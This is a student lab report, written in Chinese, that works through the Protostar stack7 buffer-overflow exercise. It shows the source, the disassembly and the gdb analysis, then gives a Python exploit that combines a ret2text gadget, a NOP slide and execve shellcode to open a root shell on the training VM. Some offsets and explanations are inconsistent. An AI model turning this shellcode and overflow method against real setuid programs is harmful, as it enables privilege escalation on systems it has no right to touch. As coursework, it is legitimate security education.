上海交通大学
SHANGHAI JIAO TONG UNIVERSITY

CS3312 Lab Stack7

学号：522031910439　姓名：梁俊轩

2025 年 3 月 19 日

1　代码逻辑

对源码进行分析, 在 Protostar 官网可以看到 stack7 的 C 语言源代码，与 stack6 不同点在于 ret 返回地址的判断由 0xbf000000 变为 0xb0000000：

```c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

char *getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xb0000000) == 0xb0000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }

  printf("got path %s\n", buffer);
  return strdup(buffer);
}

int main(int argc, char **argv)
{
  getpath();
}
```

对 get_path 函数进行反编译：

```
0x080484c4 <getpath+0>:push   ebp
0x080484c5 <getpath+1>:mov    ebp,esp
0x080484c7 <getpath+3>:sub    esp,0x68
0x080484ca <getpath+6>:mov    eax,0x8048620
0x080484cf <getpath+11>:mov    DWORD PTR [esp],eax
0x080484d2 <getpath+14>:call   0x80483e4 <printf@plt>
```

```
0x080484d7 <getpath+19>:mov    eax,ds:0x8049780
0x080484dc <getpath+24>:mov    DWORD PTR [esp],eax
0x080484df <getpath+27>:call   0x80483d4 <fflush@plt>
0x080484e4 <getpath+32>:lea    eax,[ebp-0x4c]
0x080484e7 <getpath+35>:mov    DWORD PTR [esp],eax
0x080484ea <getpath+38>:call   0x80483a4 <gets@plt>
0x080484ef <getpath+43>:mov    eax,DWORD PTR [ebp+0x4]
0x080484f2 <getpath+46>:mov    DWORD PTR [ebp-0xc],eax
0x080484f5 <getpath+49>:mov    eax,DWORD PTR [ebp-0xc]
0x080484f8 <getpath+52>:and    eax,0xb0000000
0x080484fd <getpath+57>:cmp    eax,0xb0000000
0x08048502 <getpath+62>:jne    0x8048524 <getpath+96>
0x08048504 <getpath+64>:mov    eax,0x8048634
0x08048509 <getpath+69>:mov    edx,DWORD PTR [ebp-0xc]
0x0804850c <getpath+72>:mov    DWORD PTR [esp+0x4],edx
0x08048510 <getpath+76>:mov    DWORD PTR [esp],eax
0x08048513 <getpath+79>:call   0x80483e4 <printf@plt>
0x08048518 <getpath+84>:mov    DWORD PTR [esp],0x1
0x0804851f <getpath+91>:call   0x80483c4 <_exit@plt>
0x08048524 <getpath+96>:mov    eax,0x8048640
0x08048529 <getpath+101>:lea    edx,[ebp-0x4c]
0x0804852c <getpath+104>:mov    DWORD PTR [esp+0x4],edx
0x08048530 <getpath+108>:mov    DWORD PTR [esp],eax
0x08048533 <getpath+111>:call   0x80483e4 <printf@plt>
0x08048538 <getpath+116>:lea    eax,[ebp-0x4c]
0x0804853b <getpath+119>:mov    DWORD PTR [esp],eax
0x0804853e <getpath+122>:call   0x80483f4 <strdup@plt>
0x08048543 <getpath+127>:leave
0x08048544 <getpath+128>:ret
```

对 main 函数进行反编译：

```
0x08048545 <main+0>:push   ebp
0x08048546 <main+1>:mov    ebp,esp
0x08048548 <main+3>:and    esp,0xfffffff0
0x0804854b <main+6>:call   0x80484c4 <getpath>
0x08048550 <main+11>:mov    esp,ebp
0x08048552 <main+13>:pop    ebp
0x08048553 <main+14>:ret
End of assembler dump.
```

2 漏洞分析

与 stack6 大体上相同，不同的是 stack7 对地址进行了进一步限制，地址在为 libc 中 system() 的地址，所以这里 ret2libc 的方法不再适用，但是可以用 ret2text。

首先构建输入来查看 ret 的地址：

```
buffer= "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT
UUUUVVVVWWWWXXXXYYYYZZZZ"

print buffer
```

将断点打在 0x08048544，然后查看结果,：

```
(gdb) r < exp.txt
```

```
Starting program: /opt/protostar/bin/stack7 < exp.txt
input path please: got path AAAABBBBCCCCDDDDEEEEFFFF
GGGGHHHHIIIIJJJJKKKKLLLL
MMMMNNNNOOOOPPPPUUUURRRRSSSS
TTTTUUUUVVVVWWWWXXXXYYYYZZZZ

Breakpoint 1, 0x08048544 in getpath () at stack7/stack7.c:24
24stack7/stack7.c: No such file or directory.
in stack7/stack7.c
(gdb) x/24wx esp
0xbffffcbc:0x555555550x565656560x575757570x58585858
0xbffffccc:0x595959590x5a5a5a5a0xbffffd000xbffffd7c
0xbffffcdc:0xb7fe18480xbffffd300xffffffff0xb7ffeff4
0xbffffcec:0x080482bc0x000000010xbffffd300xb7ff0626
0xbffffcfc:0xb7fffab00xb7fe1b280xb7fd7ff40x00000000
0xbffffd0c:0x000000000xbffffd480x3b66a4300x11277220
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x55555555 in ?? ()
```

在 0x55555555 中出现段错误，出现段错误的原因是 ret 跳转指令时发现这个地址无效。所以该地址就是 ret 的地址。0x55 在我们构造的字符串里是’ U ‘，0x56 是’V’，所以只要把’U’ 的地址替换为 ret 的地址 (0x08048544) 即可，为了满足一定范围内栈偏移的容错率，我们在 shellcode 前面加上了一段 nop 指令, 将‘V’ 的地址替换为 0xbffffcbc+0x32=0xbffffcee，再紧接着 50 个连续的’\x90’，最后再加上 shellcode：

```
import struct

buffer = "AAAABBBBCCCCDDDDEEEEFFFF
GGGGHHHHIIIIJJJJ
KKKKLLLLMMMMNNNNOOOO
PPPPQQQQRRRRSSSSTTTT"

ret_addr_1 = '\x44\x85\x04\x08'

ret_addr = struct.pack("I",0xbffffcbc+32)


nop_slide = '\x90'*50

shellcode = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89"
shellcode +="\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68"
shellcode +="\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89"
shellcode +="\xe1\xcd\x80"

print buffer+ ret_addr_1 + ret_addr + nop_slide + shellcode
```

最终可以看到成功执行：

```
root@protostar:/opt/protostar/bin# (python s7.py; cat) | /opt/protostar/bin/stack7
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPRRRRSSSSTTTT??j
                                                                                                        XRf
ls -la
total 918
drwxr-xr-x 2 root root    80 Mar 19 01:58 .
drwxr-xr-x 6 root root    80 Nov 22  2011 ..
-rw-r--r-- 1 root root   105 Mar 19 01:30 exp.txt
-rwsr-xr-x 1 root root 54889 Nov 24  2011 final0
-rwsr-xr-x 1 root root 56773 Nov 24  2011 final1
-rwsr-xr-x 1 root root 79974 Nov 24  2011 final2
-rwsr-xr-x 1 root root 23017 Nov 24  2011 format0
-rwsr-xr-x 1 root root 22931 Nov 24  2011 format1
-rwsr-xr-x 1 root root 23233 Nov 24  2011 format2
-rwsr-xr-x 1 root root 23409 Nov 24  2011 format3
-rwsr-xr-x 1 root root 23472 Nov 24  2011 format4
-rwsr-xr-x 1 root root 23541 Nov 24  2011 heap0
-rwsr-xr-x 1 root root 23528 Nov 24  2011 heap1
-rwsr-xr-x 1 root root 54838 Nov 24  2011 heap2
-rwsr-xr-x 1 root root 54559 Nov 24  2011 heap3
-rwsr-xr-x 1 root root 54969 Nov 24  2011 net0
-rwsr-xr-x 1 root root 55350 Nov 24  2011 net1
-rwsr-xr-x 1 root root 55036 Nov 24  2011 net2
-rwsr-xr-x 1 root root 57092 Nov 24  2011 net3
-rwsr-xr-x 1 root root 54434 Nov 24  2011 net4
-rw-r--r-- 1 root root   461 Mar 19 01:58 s7.py
-rwsr-xr-x 1 root root 22412 Nov 24  2011 stack0
-rwsr-xr-x 1 root root 23196 Nov 24  2011 stack1
-rwsr-xr-x 1 root root 23350 Nov 24  2011 stack2
-rwsr-xr-x 1 root root 23130 Nov 24  2011 stack3
-rwsr-xr-x 1 root root 22860 Nov 24  2011 stack4
-rwsr-xr-x 1 root root 22612 Nov 24  2011 stack5
-rwsr-xr-x 1 root root 23331 Nov 24  2011 stack6
-rwsr-xr-x 1 root root 23461 Nov 24  2011 stack7
```

图 1 最终结果